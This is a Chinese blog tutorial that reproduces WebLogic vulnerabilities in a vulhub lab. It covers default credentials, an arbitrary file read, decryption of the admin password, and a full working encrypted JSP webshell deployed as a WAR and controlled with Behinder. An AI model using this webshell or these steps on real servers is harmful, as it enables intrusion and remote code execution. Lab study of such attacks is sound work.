Weblogic漏洞复现【含解密和shell连接工具】

★★免责声明★★
文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与学习之用,读者将信息做其他用途,由Ta承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

1、漏洞成因

序列化和反序列化本身并不存在问题,但当输入的反序列化的数据可被用户控制时,那么攻击者即可通过构造恶意输入,让反序列化产生非预期的对象,在此过程中执行构造的任意代码。

2、历史漏洞

# Weblogic活跃的几个较新版本
Weblogic 10.3.6.0
Weblogic 12.1.3.0
Weblogic 12.2.1.1
Weblogic 12.2.1.2
Weblogic 12.2.1.3

# 控制台路径泄露,弱口令
Weakpassword

#SSRF
CVE-2014-4210

#任意文件上传
CVE-2018-2894

#XMLDecoder反序列化:
CVE-2017-10271
CVE-2017-3506

#JAVA反序列化:
CVE-2015-4852
CVE-2016-0638
CVE-2016-3510
CVE-2017-3248
CVE-2018-2628
CVE-2018-2893

3、weak_password漏洞复现

3.0、weblogic常用弱口令
账号 / 密码
system / password
weblogic / weblogic
weblogic / Oracle@123
admin / admin
joe / password
mary / password
system / security
wlcsystem / wlcsystem
wlpisystem / wlpisytem
3.1、启动靶场环境
# 先切到对应目录
cd /home/kali/vulhub-master/weblogic/weak_password

# 开启靶场
docker-compose up -d

# 查看靶场启动情况
docker-compose ps
3.2、访问靶场

访问:http://your-ip:7001

404特征

在这里插入图片描述

访问/console/login/LoginForm.jsp路径来到后台管理

在这里插入图片描述

3.3、任意读取文件

任意读取文件获取用户名密码,weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml。在本环境中为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)。

在burp suite的HTTP history取一个GET请求记录右击send to Repeater,在请求URL修改为/hello/file.jsp?path=security/SerializedSystemIni.dat,点Send按钮发送请求,在响应页面会看到如下一段乱码

在这里插入图片描述

在响应端选择Hex标签,选择乱码的那部分右击选择Copy to file保存文件到自己指定的位置,文件名命名为SerializedSystemIni.dat。

在这里插入图片描述

同样的在burp suite的HTTP history取一个GET请求记录右击send to Repeater,在请求URL修改为/hello/file.jsp?path=config/config.xml,点Send按钮发送请求,在响应端找到节点node-manager-password-encrypted

在这里插入图片描述

3.4、工具解密

使用weblogic破解GUI工具,使用命令运行

java -jar weblogic_decrypt.jar

在这里插入图片描述

因此,得到用户名:weblogic,密码:Oracle@123。

3.5、后台上传shell

使用任意文件读取获取到的账号密码登录成功。上传路径:域结构-部署-安装-上传文件-将此部署安装为应用程序。然后访问项目名称即可。

在这里插入图片描述

在这里插入图片描述

在自己本地创建一个文件,命名为shell.jsp。一句话木马如下,密码为 pass:

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

一句话木马来源参考:https://blog.csdn.net/cscscys/article/details/107856619

将其压缩为 shell.zip,然后重命名为 shell.war,选中war包并点击下一步上传。

在这里插入图片描述

war是一个可以直接运行的web模块,通常用于网站,打成包部署到容器中。
war包放置到web目录下之后,可以自动解压,就相当于发布了。

上传成功,一直点下一步,到最后一步点保存。

在这里插入图片描述

3.6、冰蝎连接

打开冰蝎使用命令运行

java -jar Behinder.jar

访问 http://your-ip:7001/shell/shell.jsp,密码在上面定义的是pass,使用冰蝎连接。

在这里插入图片描述
在这里插入图片描述

4、资料获取

如果需要本文weblogic漏洞利用工具包,请关注公众号:大象只为你,后台回复:weblogic漏洞。

  • 17
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值